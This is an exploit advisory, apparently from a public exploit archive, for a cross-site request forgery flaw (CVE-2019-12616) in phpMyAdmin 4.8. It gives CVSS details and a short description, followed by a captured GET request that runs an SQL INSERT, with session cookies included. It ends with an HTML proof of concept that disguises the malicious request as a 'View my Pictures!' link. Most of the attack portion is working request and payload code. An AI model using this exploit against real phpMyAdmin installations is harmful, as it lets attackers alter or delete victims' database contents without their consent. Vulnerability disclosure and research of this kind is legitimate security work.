phpMyAdmin 4.8 Cross Site Request Forgery

Credit: Riemann
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352

CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: Cross Site Request Forgery (CSRF) # Date: 11 June 2019 # Exploit Author: Riemann # Vendor Homepage: # Software Link: # Version: 4.8 # Tested on: UBUNTU 16.04 LTS -Installed Docker image - docker pull phpmyadmin/phpmyadmin:4.8 # CVE : 2019-12616 # Description # An issue was discovered in phpMyAdmin before 4.9.0. A vulnerability was found that allows an attacker to trigger a CSRF attack against a phpMyAdmin user. The attacker can trick the user, for instance through a broken <img> tag pointing at the victim's phpMyAdmin database, and the attacker can potentially deliver a payload (such as a specific INSERT or DELETE statement) to the victim. #VULNERABILITY: The following request which is a form submission is done using the ¨GET¨ request instead of using ¨POST <form method="get" action="index.php" class="disableAjax"> GET http://localhost:9000/tbl_sql.php?sql_query=INSERT+INTO+%60pma__bookmark%60+(%60id%60%2C+%60dbase%60%2C+%60user%60%2C+%60label%60%2C+%60query%60)+VALUES+(DAYOFWEEK(%27%27)%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27)&show_query=1&db=phpmyadmin&table=pma__bookmark HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: keep-alive Cookie: pmaCookieVer=5; pma_lang=en; pma_collation_connection=utf8mb4_unicode_ci; pmaUser-1=%7B%22iv%22%3A%22M16ZzlA0rqF9BZ1jFsssjQ%3D%3D%22%2C%22mac%22%3A%22804941d12fceca0997e181cbcb8427d68c668240%22%2C%22payload%22%3A%22mD9juTxAYhC7lA7XPWHWOw%3D%3D%22%7D; phpMyAdmin=9bdd66557e399fc1447bf253bc2dc133 Upgrade-Insecure-Requests: 1 Host: localhost:9000 The attacker can easily create a fake hyperlink containing the request that wants to execute on behalf the user,in this way making possible a CSRF attack due to the wrong use of HTTP method #POC <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>POC CVE-2019-12616</title> </head> <body> <a href="http://localhost:9000/tbl_sql.php?sql_query=INSERT+INTO+`pma__bookmark`+(`id`%2C+`dbase`%2C+`user`%2C+`label`%2C+`query`)+VALUES+(DAYOFWEEK('')%2C+''%2C+''%2C+''%2C+'')&show_query=1&db=phpmyadmin&table=pma__bookmark">View my Pictures!</a> </body> </html>

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